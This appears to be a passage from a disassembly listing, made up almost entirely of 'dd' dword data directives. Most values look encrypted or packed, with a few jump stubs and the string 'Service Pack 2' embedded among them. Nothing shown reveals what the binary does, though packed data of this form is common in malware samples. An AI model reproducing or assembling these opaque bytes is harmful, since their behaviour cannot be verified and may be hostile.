		dd 98FD968Eh, 8DDA38C9h, 0D5318A8Ah, 3F783864h,	86E0DAADh
		dd 76000000h, 1670E5C2h, 0DF109DB5h, 86CC1CBEh,	9FE7023Eh
		dd 8B94CD40h, 5A45168Bh, 1BAB8E5Dh, 0C421AB2Bh,	0ED406241h
		dd 6302489Ch, 98F26344h, 610A871Ah, 84A6B43Ch, 0A5661B31h
		dd 0BE80021Bh, 392322Fh, 3D890000h, 4797B919h, 2F81A707h
		dd 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch,	6F4F0351h
		dd 7452F649h, 7151FB4Eh, 9CF66768h, 6516B3F4h, 0E5C2122Ch
		dd 9DB51670h, 6EFBDF10h, 223D87E6h, 350h, 1C6BBDC0h, 0DD71C1CAh
		dd 0D6CADBCh, 29A691AEh, 834FEF85h, 8F7CD687h, 40B5109Eh
		dd 109E8EC6h, 0DC410E8Fh, 0A6245514h, 95109E8Eh, 109E8EB5h
		dd 9E8F27A4h, 8EB41210h, 23A3109Eh, 12109E8Fh, 0D09E8EB4h
		dd 0DCFB8BD6h, 6F2767F6h, 6491919Ch, 0BF9C2445h, 892FB14Eh
		dd 0E5FBE56h, 0B80CB7B2h, 0B2A03092h, 4CBF4D3h,	0BBC210F0h
		dd 5283D018h, 5079408Fh, 0C170E528h, 0C6B9F02Ah, 2CE2A27h
		dd 14D0000h, 3537555h, 0F3456B4Bh, 2517757h, 0FB4A704Eh
		dd 0E54A7959h, 0BB1B3988h, 0AB0B4795h, 0B8163285h, 0AD0D3F92h
		dd 0D04ABBA4h, 9916B3F5h, 0E0C2DE80h, 98BA0250h, 5FF54445h
		dd 0D1EE8F0Eh, 4351BDE6h, 5B677FADh, 76E8BD91h,	9E4D97F6h
		dd 0A03F47A2h, 0F16DA0BFh, 0BA109E9Eh, 6A0B4998h, 75AD2362h
		dd 2B6A168Ch, 5EB7A38Ch, 0DDEC2F51h, 620C1004h,	0C71170ADh
		dd 7715A789h, 88178C06h, 3A6A550Ah, 5C05C65Bh, 0F2D1B0D1h
		dd 3AC6D2CDh, 99712BA3h, 69766778h, 99B70160h, 84296BCh
		dd 0BE10D839h, 9A851A6Ah, 0BAF06A9Bh, 54B90A87h, 104AB66Fh
		dd 9DC4E071h, 4D9BCAE9h, 6A1075E2h, 0CBBE184Dh,	6870471h
		dd 0CEEC31BEh, 71CC3F9Fh, 7E086104h, 3B597E61h,	4896D905h
		dd 355B43Ch, 0B80A6060h, 1547655h, 4A1B3988h, 2B0CAACBh
		dd 4A7DD90Ch, 0C746FE5Ch, 0C28ADBFDh, 49940273h, 4B96FE5Ch
		dd 4ABB9C3Bh, 0FE5C48D0h, 6F6C7499h, 0C3696750h, 5E3D5ABh
		dd 78F04CBBh, 187D044Ah, 21B39CBBh, 8E79FBDEh, 0C41D48A3h
		dd 7819D2B9h, 0BECB5E70h, 3051E06Ah, 6E547151h,	0A3E273DDh
		dd 0A6A63719h, 4092B897h, 0FCDE3F0Eh, 0AFDEE66Ch, 0F846033Fh
		dd 44982841h, 71EAC4A4h, 0BB2A89E8h, 0FE346B6Dh, 0F6DCFB1Ah
		dd 3958E963h, 9D85A2AFh, 292E3F0Bh, 1D272AE9h, 1CA4C58Eh
		dd 4FE2A73Ah, 4C2D6CFDh, 53F94C6Eh, 0A8225374h,	71F23003h
		dd 0E745A42Ch, 0B6278402h, 0F81DDB7Eh, 0DD6E5473h, 0C4880273h
		dd 0E51EC19h, 19C483DFh, 0A8C94CECh, 0F342C320h, 19C40482h
		dd 60EE40ECh, 0F05CEDD1h, 0C8412B61h, 17A14DDh,	3DE51DDBh
		dd 16C578h, 70990000h, 109DAA12h, 1155h, 24597600h, 109D97AAh
		dd 10CA1273h, 9DAF1270h, 0BEA3D610h, 0CD9CB805h, 0A4FE6F4Ch
		dd 6D109DB4h, 4D6A4928h, 677D365h, 109DB48Ch, 0B53690C5h
		dd 9EFF109Dh, 57844CD1h, 8B8BB226h, 912E6F16h, 0AE361AA9h
		dd 9EE8013Fh, 7A9DCC41h, 4FCE1078h, 0EF6A251Ah,	0BA975679h
		dd 98h,	0BF1F3783h, 0A5054999h,	0B9193183h, 0AA084897h
		dd 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h, 5587A58h
		dd 755A6747h, 0B3F78600h, 68DA4F16h, 414DE0C2h,	9DB552CCh
		dd 9BFA1B10h, 8AFCE551h, 8C64B82Dh, 0FC21168Bh,	6C1A4F6Dh
		dd 67C71E4Fh, 5881078h,	0EF647550h, 0FEDB9279h,	38h, 0DFFF57E3h
		dd 0C5E569F9h, 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h
		dd 0AD3B1DBDh, 902305A5h, 0A5381AB8h, 153A07A7h, 0B3F966E0h
		dd 48FA2F16h, 3C4h, 0E17B6A00h,	54E571BDh, 0DC6DDF72h
		dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
		dd 9EAF9B2Dh, 15242ABCh, 0E0895022h, 405h, 4E88300h, 5C240487h
		dd 57241489h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 40682404h
		dd 89000023h, 6852241Ch, 743F4C56h, 8124148Bh, 4C4h, 90CA8100h
		dd 81002154h, 291D7AEAh, 5AD0896Eh, 465668h, 24248900h
		dd 4240483h, 481505Bh, 6D696924h, 8438F4Ah, 6969BF57h
		dd 7B294A6Dh, 1C8B5F08h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 5024048Bh, 405E089h, 83000000h, 48704C0h
		dd 45E95C24h, 9FFFD3Ch,	164483B8h, 8BC50306h, 0E900EBC8h
		dd 617h, 60BE9h, 462B6800h, 25E90616h, 68FFFD3Ch, 6164743h
		dd 0FD3C1BE9h, 47EA68FFh, 11E90616h, 68FFFD3Ch,	61648C1h
		dd 0FD3C07E9h, 49E968FFh, 0FDE90616h, 22FFFD3Bh, 0BEE4C294h
		dd 0DEC4E26Ch, 80A2004Ah, 9F81212Fh, 31644212h,	14408DFEh
		dd 0E4494B6h, 13358AB0h, 103C8DB3h, 37A6A9B2h, 16B3F9DBh
		dd 6C4E6DA4h, 0F46E76DCh, 4DF1DDC2h, 0B786C81Ah, 0FE717156h
		dd 0AE2C5B65h, 9D109E56h, 109E5741h, 9E56AB28h,	57389610h
		dd 5179109Eh, 9AFB4AFEh, 5752B352h, 0AC93109Eh,	67038919h
		dd 15ADA158h, 4383935Bh, 1E2C8022h, 8706CE4Fh, 909E4E07h
		dd 69464029h, 8F3C21F4h, 1CBBDA96h, 7A7A136h, 64F78E21h
		dd 553455E4h, 0AA245976h, 738A8B35h, 1D1BCA12h,	144FFCC4h
		dd 7F242ABCh, 7B1ACBC0h, 0B044295Ch, 654D907Bh,	0F26F79D5h
		dd 812ADE93h, 0A047F9F2h, 464A5h, 0FC5AE800h, 0E46AFCDEh
		dd 0FA50E4C6h, 0EB65F6DCh, 0FC58E5CBh, 2B40EFDEh, 3218B69Eh
		dd 3012B0A2h, 2B0DAD9Bh, 4714B29Ah, 0FB79D508h,	0CF4216B3h
		dd 0E06CBD73h, 1507251h, 90C50253h, 109DB536h, 0F5FF9EFFh
		dd 9DB53796h, 0A5E07310h, 0E8293814h, 4496B889h, 0B5533B0Ah
		dd 0A8125144h, 0EB3E6413h, 0B7134261h, 80109DB4h, 3081D31Dh
		dd 499CBE1Ch, 3B7BA403h, 9111C5AAh, 626403CDh, 815E7DCFh
		dd 9EB0920Ch, 0B23A5B10h, 8CBC0F33h, 34799BDh, 8811132h
		dd 0DE5BF51Dh, 0CABA134h, 0B3EC5923h, 0AE369594h, 0A14414B0h
		dd 92ECA341h, 52000003h, 51E06CBDh, 9DB4A120h, 5CEDD710h
		dd 9A3913A6h, 9D2725B8h, 38ADB2BFh, 109DB4DEh, 614966A7h
		dd 0ABEA7BCFh, 2B80C221h, 4A9BBD1Dh, 2B7DA502h,	0BC0C4E1Fh
		dd 7EEDF796h, 7B5B2342h, 0F9480455h, 0EBCB87D5h, 9DB51A78h
		dd 4C065610h, 52FA4B6Fh
		dd 84DDDB8Ah, 1130A502h, 62168EA5h, 8B842E23h, 0DE8D8005h
		dd 34C03h, 0A4B20000h, 0BC922406h, 0A2A83C1Eh, 0C38D1E04h
		dd 0E470BDE3h, 3358D7C6h, 2A10AEA6h, 381AB89Ah,	2305A5A3h
		dd 4F1CBA92h, 0FC81DD10h, 0D74A16B3h, 4DE0C26Bh, 52E3F5FFh
		dd 0D6676BFAh, 55E3E776h, 72F9DEFDh, 167592D7h,	12418F59h
		dd 109EAAF4h, 9E99E363h, 0AEFE2410h, 9BAD02A4h,	0E3B1FF51h
		dd 9E9A1872h, 55FB4C10h, 91B68504h, 0F8ADFB5Fh,	0E687E6E2h
		dd 6EA82657h, 9FCA109Eh, 0B24D6221h, 0D6CCA6Ah,	1AA991AEh
		dd 0DEE62736h, 8EE4AAAFh, 30CCF316h, 0D7C6D80Dh, 0E627C40Ch
		dd 6108973h, 322FBE80h,	2A5h, 9B3B1BA7h, 892925B5h, 953515A7h
		dd 8E2C24B3h, 97371DACh, 0D3628BA4h, 0B1FF2181h, 8C1F01A1h
		dd 0A93C1EBCh, 193603A3h, 0B3FC6AE4h, 84DE3316h, 8E1D6CBDh
		dd 0CE9FAFFFh, 0FE1F2E4Fh, 0CB1A409Fh, 9EA03F89h, 242E7E0Bh
		dd 83D2F445h, 0F190BA0Eh, 82CC5E60h, 0D6739DB3h, 0F4D607EFh
		dd 3D5CED63h, 32E059B3h, 0B50DAD9Fh, 0A341EAE7h, 2104Fh
		dd 0F94A7000h, 3D870657h, 4EE0C2A3h, 0BB0D3100h, 3E5FBE8Fh
		dd 0B4F757B6h, 0A033109Dh, 9A270BA8h, 626AABBAh, 4FF94E74h
		dd 387DCFEh, 9DB578D2h,	0BDDC4110h, 0CF6CE6ACh,	1E6BFF28h
		dd 725DB9Dh, 489BBDh, 4D4A0AA2h, 48F2A341h, 48000000h
		dd 0EBC8BEA3h, 8E98F77Ah, 0D88D1016h, 80056EEAh, 0CE815C0Bh
		dd 7E000001h, 0A2882630h, 0BAA03E10h, 0A4862426h, 0BB9D3D13h
		dd 9588262Eh, 70E4719Ah, 72E07052h, 6FD96E54h, 74D8694Fh
		dd 13428D56h, 16B3FCB7h, 0D6352980h, 0B51284F9h, 173B109Dh
		dd 0B13E86C6h, 29381CA9h, 0D6B79325h, 5CED63F4h, 0C90D5C3Dh
		dd 0CEF4D276h, 8FB90E7Bh, 2F3E5FBEh, 93B50A30h,	8EF0ED49h
		dd 93B50A30h, 90BC0D33h, 232F7DC1h, 0E7879A83h,	0AB002F95h
		dd 54CE3F20h, 1D109E96h, 0D36569F8h, 0D3661FB4h, 0C8A9E879h
		dd 0D10D09A9h, 972710AFh, 673C793Dh, 87CB1AA2h,	50025235h
		dd 8BB49131h, 684613BAh, 0C44D72A8h, 506D4CB8h,	96F4935Dh
		dd 0D7109E70h, 0BE2866F3h, 842A5EBCh, 0BFFBC5A4h, 73EF1EAAh
		dd 0AC109DCEh, 9DCDDD39h, 0D867A610h, 86F7D4B5h, 168EC83Fh
		dd 7C5E7DA0h, 634764EAh, 0A8E978D0h, 0BE103220h, 9D82C190h
		dd 0E1E3271Dh, 95B70180h, 13370642h, 9ABC8DC5h,	0F7350446h
		dd 0A4FCCEF2h, 1FF2A710h, 617E617Eh, 8A12B22Ch,	0D21A7B0Ah
		dd 7B07FE33h, 63167710h, 79F1DC8Dh, 0A6F6D39Ah,	0A6000000h
		dd 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h
		dd 78DC6982h, 6AE8785Ah, 77D1664Ch, 6CE07157h, 2B5A854Eh
		dd 16B3FDAFh, 0BD3D2178h, 0DCC3E06Ch, 2ADEFC36h, 0CD1CA4EAh
		dd 351BAC8Eh, 0F9DBE524h, 5BB72668h, 24109DD8h,	0C9B180E1h
		dd 351DCA3Fh, 3B1DA7A3h, 0FF4FDFAAh, 704E2F6Eh,	41C904D4h
		dd 17ACA3h, 70920000h, 109DB511h, 118AFC4Dh, 2DCFFC5h
		dd 183797F6h, 1Ch, 0B51270B6h, 0FB4E109Dh, 6B547151h, 4CC14E4Fh
		dd 109DF6D2h, 0E557A9Bh, 5A04CC3Ah, 255D168h, 2F000000h
		dd 0E571BD6Dh, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h
		dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh,	0EC832215h
		dd 48F5404h, 24048124h,	4, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 52241489h, 0C281E289h, 4, 8704EA83h,	895C2414h, 6568241Ch
		dd 8B061645h, 0C4812414h, 4, 8904EC83h,	4812424h, 424h
		dd 89515B00h, 84B89D1h,	83240C8Bh, 34FF04C4h, 0C4815B24h
		dd 4, 5024148Bh, 405E089h, 83000000h, 48704C0h,	31E95C24h
		dd 3DFFFD36h, 0A0A99707h, 357A6A53h, 0ECD01A98h, 164AB4B8h
		dd 8BC50306h, 51E9D1h, 8B600000h, 3242474h, 7C8B3C76h
		dd 0D68B2824h, 0F8C281h, 8B660000h, 0B70F064Eh,	0F983C9h
		dd 16840Fh, 7A3B0000h, 158F0F0Ch, 83000000h, 428B28EAh
		dd 144A8B0Ch, 0F82BC12Bh, 1C247C89h, 8C261h, 4928C283h
		dd 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh, 9FD3Eh, 166E9h
		dd 0D7D9B900h, 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch,	0A3365973h
		dd 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h
		dd 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh
		dd 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh
		dd 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h
		dd 0AE29B0F3h, 2Ch, 34h, 38h, 2	dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 26h dup(0)
		dd 0E9000000h, 1F95h, 164F2068h, 3446E906h, 1868FFFDh
		dd 0E9061650h, 0FFFD343Ch, 1650BB68h, 3432E906h, 9D68FFFDh
		dd 0E9061651h, 0FFFD3428h, 16522F68h, 341EE906h, 1068FFFDh
		dd 0E9061653h, 0FFFD3414h, 1653B768h, 340AE906h, 6168FFFDh
		dd 0E9061654h, 0FFFD3400h, 16586A68h, 33F6E906h, 0F868FFFDh
		dd 0E9061658h, 0FFFD33ECh, 165A0E68h, 33E2E906h, 1C68FFFDh
		dd 0E906165Dh, 0FFFD33D8h, 16614668h, 33CEE906h, 6768FFFDh
		dd 0E9061664h, 0FFFD33C4h, 1665AA68h, 33BAE906h, 1C68FFFDh
		dd 0E9061666h, 0FFFD33B0h, 16667C68h, 33A6E906h, 0CE68FFFDh
		dd 0E9061666h, 0FFFD339Ch, 16686A68h, 3392E906h, 6568FFFDh
		dd 0E9061669h, 0FFFD3388h, 166B2768h, 337EE906h, 15A1FFFDh
		dd 0EF3F6141h, 7597F5Fh, 0EE3D6343h, 0CF5E4462h, 39F62585h
		dd 0EFCF85D4h, 0F7D77BC9h, 0ECCA7ED1h, 0F9D973C6h, 247EEFF0h
		dd 0ED16B402h, 0E0C28AB4h, 716EFF4Dh, 9DB4A2FCh, 4B2A6B10h
		dd 4EFE4F81h, 57FB4971h, 0AE3D8706h, 933319ACh,	9B384E93h
		dd 8EA30F6Ah, 3270816h,	6DE998B0h, 360A8A9Fh, 985F8D7h
		dd 0D20A8A9Fh, 59BC29B3h, 0E8E4CB08h, 0F74D203Fh, 0BB8F2185h
		dd 0CB74D231h, 3FCB0A89h, 0F0D2A2CAh, 3A7A5AADh, 0E0000000h
		dd 0EBC8BEA3h, 8BDA7AC7h, 554F447h, 0FEDBE584h,	8E988E8Fh
		dd 2F3E5F16h, 8A8980DEh, 0BE3BD70Ah, 0EE7A2E19h, 3F0E4291h
		dd 0DA98F9DEh, 6E2EB63Eh, 0D65AADD8h, 0B6h, 0E06CBD6Ch
		dd 0FF4FDFC3h, 46A52F6Eh, 0CE9FB504h, 4213398Ch, 3F9FAD00h
		dd 52CC411Eh, 1B109DB5h, 0B54DC93Ch, 0F716109Dh, 0A0BF4E96h
		dd 5D109DB1h, 5D67E375h, 4462EA7Bh, 0B081CB5Eh,	0BA196D74h
		dd 8EB6464Bh, 1DAB8F16h, 0A28C0677h, 30550A8Ah,	37810051h
		dd 4B4B6BAAh, 22537016h, 10750C1Fh, 143695F8h, 92F8FC5h
		dd 40E598BCh, 5D79EFE8h, 1CD093CEh, 51DD0000h, 3383A505h
		dd 4395BB1Bh, 3281A707h, 4B9AC01Eh, 0B57AA909h,	6B4B0958h
		dd 7B5BF745h, 68460255h, 7D5DEF42h, 0A0FA6B74h,	6916B403h
		dd 70BD0E30h, 51E4C6E4h, 89249335h, 9680462h, 0BEA30FA9h
		dd 7AC7EBC8h, 0B687C717h, 0B1AE3657h, 8E985D3Ch, 5EEF2E16h
		dd 8A87AF2Fh, 0F55DEB0Ah, 80D26264h, 87048EB1h,	3EBB579Eh
		dd 0AD395E1Eh, 0C2065Ah, 0BD5C0000h, 6D51E06Ch,	94E574E0h
		dd 109DB177h, 7DF09E2Fh, 109DB121h, 0FA490555h,	0FBDCFA9Bh
		dd 0AFF755D4h, 0D665EBAEh, 7FD11B7Ah, 104F1E2Eh, 0A9B89A2Ah
		dd 6298A6A2h, 0C6DA769h, 157178C4h, 6F4247B6h, 0AC8B168Eh
		dd 5C005A8Bh, 44C90A8Ah, 8A5BB915h, 0B903820Ah,	0E6C6232Ch
		dd 9DFB3942h, 87E2DEFCh, 99ADE0FFh, 92107479h, 1E2F1DB0h
		dd 19419EFFh, 82A88CCh,	4DE69BB9h, 5679EF64h, 1BD8BA97h
		dd 89D50000h, 7BCBEDCDh, 7BCDF3D3h, 7AC9EFCFh, 83D2F8D6h
		dd 6DC2F1D1h, 3A3B100h,	0E3C38F1Dh, 0DE6ABDh, 0E5C587DAh
		dd 882F3DCh, 0D116B405h, 0E0C2E658h, 98BA0250h,	85AB0B49h
		dd 20BA1834h, 51E06CBDh, 5270DC6Dh, 8CFB4D75h, 6B75143Ah
		dd 11588965h, 503123B2h, 0A5630273h, 1174168Eh,	0C8FB5FEEh
		dd 3C25A600h, 5F86D4Ah,	0FE53ED25h, 7772CE9Fh, 883DB00Fh
		dd 14DD9FBh, 0ED203F9Ch, 41D5E771h, 0C411DB3Ah,	0A1014BDEh
		dd 450F9E84h, 8108597Bh, 0CD4C1D31h, 0D5E0B9ACh, 5615B750h
		dd 1B357Bh, 6CEA7800h, 74DA6C4Eh, 6AE07456h, 7BD5664Ch
		dd 6CE8755Bh, 0BBD05F4Eh, 0A288262Eh, 40624012h, 5B7D5DEBh
		dd 5764420Ah, 4890578h,	3F5216B4h, 0E06CBD23h, 20557251h
		dd 109DB4A6h, 388C2E6Fh, 0FAC24312h, 0B025A3BEh, 109DB556h
		dd 0A1A93B1Fh, 71107190h, 0AF3E2352h, 0B6D7168Eh, 1103718h
		dd 7A1E139Ch, 0C0D2F8C0h, 0E7C4C2A7h, 7B3CF776h, 434F7810h
		dd 188BD5A9h, 0EAF07D47h, 0ABDAF95Bh, 477392Fh,	13F495F8h
		dd 66EA17Ah, 0D4B2B7CBh, 0CC7386F7h, 296C42B6h,	0FEC51C18h
		dd 7293A2ACh, 3E8EB413h, 0E2C44514h, 0E6F3FD4Fh, 0A3A3C277h
		dd 3887AB3Ch, 0C84918h,	9D852263h, 92F3420Eh, 94250D4Ah
		dd 153D1AB8h, 135DC2C4h, 0E059EEBBh, 8751B081h,	2558F445h
		dd 0A61A965Eh, 53EDE87Fh, 5A00001Ah, 466C4A0Ch,	567C5AF4h
		dd 486A4802h, 577959F7h, 396C4A0Ah, 0C4895F6h, 163C8CAEh
		dd 0B3D92B8h, 183485ABh, 3FAEB1BAh, 16B405E3h, 0BDC975ACh
		dd 5351E06Ch, 2A5B780Eh, 168EA4EBh, 70EA1B3Ch, 390A8AA4h
		dd 2F15B5D4h, 0C2C41DBEh, 94F170E5h, 8302107Bh,	0EABFED60h
		dd 243D800Eh, 0CE5D4562h, 0E12437BCh, 0DCBD6B09h, 0A396C714h
		dd 9C6DC008h, 95CCE879h, 0CEA3D2F1h, 4767ACDFh,	70C1E9C6h
		dd 89DCFEDCh, 0B9E38EC3h, 39F0D123h, 19C11Ch, 0F85EEC00h
		dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h, 0F85CE9CFh, 2744EBDAh
		dd 361CBA9Ah, 2C0EACA6h, 2F11B197h, 4310AE9Eh, 76DE91Ch
		dd 0E33616B4h, 0C6DDC27Fh, 13354E0Fh, 83D27CCEh, 77596302h
		dd 0D9D766E6h, 0A4D9F690h, 168EE8A1h, 9ABB1B7Ah, 0A12B29B8h
		dd 96BC26ABh, 1B380943h, 8AD670EAh, 0B5D4390Ah,	0ACDA0F2Bh
		dd 0C75FDE0Fh, 6770107Bh, 64607ABCh, 44557A6Dh,	3569BCCAh
		dd 0A8F71879h, 10213382h, 2498E7F1h, 91E1B9D8h,	743A90A6h
		dd 0BA02ECC4h, 8423637Eh, 26D65C51h, 372550Dh, 122D387h
		dd 9DACCD50h, 0F26CA1BEh, 0BB0122D2h, 0A98B755Ah, 634D081h
		dd 1F6782BEh, 5479AC0h,	9A6F9EBBh, 830713A6h, 7840109Fh
		dd 250DAAEBh, 381AB894h, 0C9B2A7A5h, 2708A80h, 18E06E6Bh
		dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
		dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
		dd 50CA3B24h, 1916B408h, 6CBD5E00h, 0E5351E0h, 97C5B78h
		dd 109DB48Dh, 0B0AD3756h, 8EAA083Dh, 0C4C6F116h, 727F4849h
		dd 0ADF07D47h, 16B7270Dh, 0E91CBBCBh, 107B1448h, 3AD33459h
		dd 772EA09Bh, 4562243Dh, 9F0B1D10h, 0F6311676h,	0D9E2644h
		dd 0EB7AD665h, 9BAACBAAh, 6542449Dh, 8BA13DF0h,	4194B670h
		dd 0BADB3A0Bh, 0A8A4351Dh, 0B5052D0Ah, 0ACFD4F99h, 7BD4ADA0h
		dd 32F9DA02h, 183917h, 70E67400h, 70DE7052h, 6EDC7052h
		dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh
		dd 775979CFh, 7B4866E6h, 7A52154h, 3B6E16B4h, 70E5C207h
		dd 109DB516h, 2436BEDFh, 8EAABB91h, 0AE943353h,	2224351Fh
		dd 6BAABB8Dh, 0DE38AD0Ah, 0A7109DB4h, 0C815E66h, 168BF8DCh
		dd 0B32F5E81h, 7C0A8767h, 0F312CF19h, 7FDFEBD4h, 979D3329h
		dd 972A104Dh, 0FCE615B5h, 0F60A8728h, 173999E9h, 12986C6h
		dd 7559FB3h, 7A4E207h, 756DC6D6h, 3D9AFB10h, 2989C515h
		dd 0C697B707h, 661B3184h, 79EBCB89h, 8FF6D39Ah,	1E000017h
		dd 0C2E8C690h, 0DA00DE70h, 0C4E6C486h, 0DBFDDD73h, 0B5E8C68Eh
		dd 90C4117Ah, 92C01032h, 8FB90E34h, 94B8092Fh, 0B3222D36h
		dd 16B40957h, 0A3550920h, 0CCEBC8BEh, 0BEFD42E3h, 0A7311495h
		dd 8C314858h, 0BB187D16h, 6EAFB39Ch, 0F5FDD169h, 845190CEh
		dd 48905C52h, 3999B306h, 3A0E2FDh, 0D091481Ch, 0C711B6B9h
		dd 9F0B5B8Ah, 59BC0A87h, 9F187908h, 706F0A87h, 8C54F64Ah
		dd 0FCDE8902h, 7FD7E167h, 5AA80CB1h, 8019h, 0DDC23D00h
		dd 8BF04928h, 3D794387h, 64436022h, 0D465EF3Eh,	90C411B5h
		dd 97840C1h, 109DC991h
		dd 93C2E5C2h, 109DCA37h, 72EC9D00h, 3B109DCAh, 305512DAh
		dd 0CA72D021h, 1AAE109Dh, 8A1D2130h, 1AABAFBEh,	0C1E22332h
		dd 844D38D1h, 0E4C6710Ah, 6AF2FA50h, 0A341F3AAh, 2412h
		dd 11702800h, 33109DB5h, 0A7B582Eh, 168EA403h, 70DA6E54h
		dd 4CDDE1h, 27B1D031h, 5A7B5BBAh, 626AE878h, 0C8BEA3F8h
		dd 51E6CCEBh, 0CFAEA434h, 0AF9B8605h, 0C144168Eh, 51FB4E70h
		dd 2735471h, 0A8A9888h,	0D204CC51h, 84DE0F7Fh, 0BD0A8A98h
		dd 8A97CE48h, 0E976970Ah, 0C4E6C5A4h, 508FDE74h, 8A97C11Dh
		dd 6A0B8A0Ah, 97BE184Dh, 6870A8Ah, 9E2B2FBEh, 9C2B66F3h
		dd 564A5B4h, 62F1D564h,	0D0B1992Bh, 63EF3D81h, 781181D2h
		dd 0A285BA8Dh, 8A97D733h, 737DA00Ah, 5FF2A019h,	5AEBCDEDh
		dd 0CDAC9C2Fh, 5D29407Ch, 84020F7Eh, 0AAEB107Bh, 0B4072B0Ch
		dd 7C44C594h, 6645075Ah, 7492A441h, 9D3CEF3h, 95CC2B5Ah
		dd 1D555C84h, 95D4FBACh, 0F0976FD8h, 22B3A52Fh,	13A68C2Ah
		dd 72B2839h, 0FD4F99B9h, 0BD93A2AEh, 0B90CB653h, 0BC0D3393h
		dd 80D17DCDh, 0D3D16001h, 0AADBF88Eh, 92319437h, 2C0EADF0h
		dd 0F45EEE97h, 0F4452465h, 2B0D4B95h, 2D15B29Ah, 0C726AE9Ah
		dd 4C1D3583h, 0E7D1B90Ah, 8F2E35C3h, 5A7CCDACh,	0D1F64709h
		dd 9C513AC3h, 0F121324Ah, 3517AA58h, 0B384E524h, 0C518CA3Fh
		dd 21062787h, 0C351AAC3h, 26B317E3h, 0F6FE1F2Eh, 6AFB51E4h
		dd 21B0134Eh, 755233h, 8C1DD109h, 86C4183Ah, 0E18E56B7h
		dd 0A93C1EBCh, 8AB592A3h, 4DA3F175h, 449ECF44h,	0D801A4Eh
		dd 0A0DFE988h, 701A4E22h, 0B180CA5Eh, 42133F8Dh, 7E67E40Eh
		dd 13C4355Dh, 2AB2A22Fh, 17B79528h, 9BAA9E31h, 1B2A2AB7h
		dd 0AE64D573h, 0A98F2F19h, 0AD953216h, 0E223321Eh, 0F8478BDAh
		dd 4DEF6B9Ah, 9123701Ah, 0DA69A8B9h, 0D88BDABBh, 0DD75C3E7h
		dd 52007913h, 0FE588DFDh, 32701A4Dh, 7E9FAEA0h,	0EDCDACF1h
		dd 81D078CBh, 6B483E23h, 0B482FFAh, 0A4B5D876h,	15CD3EB0h
		dd 72886C2h, 3259B528h,	0E3226A07h, 2366F7D9h, 8BDABB93h
		dd 4293F647h, 0B78FA50Ah, 319D9585h, 8FF90150h,	57F548FAh
		dd 164E4F78h, 0F3D874C5h, 757FAD5Fh, 0D3644667h, 2DEB737Dh
		dd 95FA28F5h, 23h, 0DE6ABDA9h, 4E38318Fh, 85A9FC71h, 0EDD2168Eh
		dd 71449EBCh, 0FA677164h, 0A7C684D8h, 3F2807h, 0C2860000h
		dd 320351E0h, 74C709D3h, 0A5D8F7D4h, 109DB529h,	0F07FCB5Dh
		dd 0B5247EEFh, 0A8ED109Dh, 4460FFC9h, 654A691Dh, 0B3FCA904h
		dd 0BC99234Ch, 8F32F449h, 0FB6A6D16h, 0A8B2E9Fh, 66442568h
		dd 0C0D9B9CCh, 74EE1FA9h, 3D109DB5h, 0EB1AB9D8h, 168EA64Ah
		dd 0B29D3A5Bh, 29773299h, 6627B115h, 1B2C6BE7h,	675C85DEh
		dd 0A8E978D8h, 77C8EAC9h, 0E5C20FD9h, 9B1D6FBDh, 0F5F78133h
		dd 0C3428AEBh, 1BC80DAEh, 0D9D766A7h, 0ABA33390h, 0E5CAEDCAh
		dd 5B7CC384h, 22616B47h, 15B4E34Fh, 213382C8h, 1524307Dh
		dd 143695F4h, 0D775C8C1h, 0C73619B6h, 9B0CF4Bh,	0E9E7F114h
		dd 0C11376C7h, 3859B889h, 2BBD3045h, 0A3BE6D7Fh, 1386h
		dd 1BBB9B27h, 9A9A535h,	15B59527h, 0EACA433h, 17B79D2Ch
		dd 53E20B24h, 317FA101h, 0C9F8121h, 29BC9E3Ch, 99B68323h
		dd 0B40CEA64h, 45EB316h, 9DB61670h, 8F393010h, 203119ABh
		dd 0B41670E1h, 0DF109Dh, 9DB4118Dh, 0DABBDA10h,	0A5361CBBh
		dd 717B9AABh, 0A21CF164h, 0B0D5168Eh, 0AC9C2F13h, 310E310Eh
		dd 8A9C62BCh, 7BEA2B0Ah, 0A8A9C1Fh, 9BA92558h, 13720A8Ah
		dd 0D5F7C144h, 5377C682h, 0C174A02h, 3580058Ah,	12F85B76h
		dd 29B50000h, 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h
		dd 8DA29131h, 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah
		dd 68E2133Ch, 3116B40Dh, 0E5C246F8h, 9DB51670h,	36BEDF10h
		dd 8A7DF0Ah, 8EA400D5h,	7754B916h, 70E27258h, 7AD46668h
		dd 6AE4765Ch, 0E666F7DBh, 6BE37357h, 2569F8DAh,	0AC7A96A2h
		dd 0EE7F1E52h, 2411AA28h, 3AED5E90h, 0F1DB1B15h, 0C20AD7D4h
